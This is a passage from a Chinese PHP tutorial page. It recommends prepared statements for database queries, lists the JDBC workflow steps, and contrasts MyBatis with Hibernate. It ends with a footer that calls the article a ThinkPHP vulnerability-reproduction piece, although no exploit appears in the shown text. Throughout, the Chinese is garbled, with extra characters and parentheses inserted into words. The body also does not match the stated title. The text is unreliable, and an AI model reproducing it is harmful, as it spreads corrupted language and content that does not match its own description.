不管java或是php在進(jìn)行數(shù)據(jù)庫(kù)查詢(xún)的時(shí)候都應(yīng)該進(jìn)行pdo預(yù)編譯,我們都知道,在jdbc工作的時(shí)候分成好多步
1.建立連接
2.寫(xiě)入sql語(yǔ)句
3.預(yù)編譯sql語(yǔ)句
4.設(shè)置參數(shù)
5.執(zhí)行sql獲取結(jié)果
6.遍歷結(jié)果(處理結(jié)果)
7.關(guān)閉連接
對(duì)于程序員來(lái)說(shuō),jdbc操作總是很麻煩,所以利用預(yù)編譯就是將mysql查詢(xún)語(yǔ)句進(jìn)行封裝,之后在進(jìn)行查詢(xún)的時(shí)候直接輸入?yún)?shù)即可,這樣即簡(jiǎn)化了操作也極大程度加強(qiáng)了安全屬性,而以此類(lèi)推,這樣來(lái)說(shuō)我們是否可以將其他步驟也進(jìn)行封裝呢,也就是建立連接,寫(xiě)入sql語(yǔ)句等,只留下寫(xiě)入sql語(yǔ)句與遍歷結(jié)果來(lái)進(jìn)行操作,這樣就更加簡(jiǎn)化了操作。
于是就誕生出了Mybatis半自動(dòng)框架與Hibernate全自動(dòng)框架,直接將jdbc的操作進(jìn)行封裝,但是由于全自動(dòng)框架可操作性過(guò)于狹窄,所以現(xiàn)在市面上更多的還是Mybatis框架進(jìn)行連接服務(wù)端與數(shù)據(jù)庫(kù),但是一般政府或國(guó)企的項(xiàng)目還是偏向于Hibernate框架,這些知識(shí)都是涉及一些編程知識(shí),大家可以自己去了解一下。
推薦學(xué)習(xí):《PHP視頻教程》
以上就是滲透測(cè)試之路:ThinkPHP漏洞復(fù)現(xiàn)的詳細(xì)內(nèi)容,更多請(qǐng)關(guān)注php中文網(wǎng)其它相關(guān)文章!
PHP怎么學(xué)習(xí)?PHP怎么入門(mén)?PHP在哪學(xué)?PHP怎么學(xué)才快?不用擔(dān)心,這里為大家提供了PHP速學(xué)教程(入門(mén)到精通),有需要的小伙伴保存下載就能學(xué)習(xí)啦!
微信掃碼
關(guān)注PHP中文網(wǎng)服務(wù)號(hào)
QQ掃碼
加入技術(shù)交流群
Copyright 2014-2025 http://m.miracleart.cn/ All Rights Reserved | php.cn | 湘ICP備2023035733號(hào)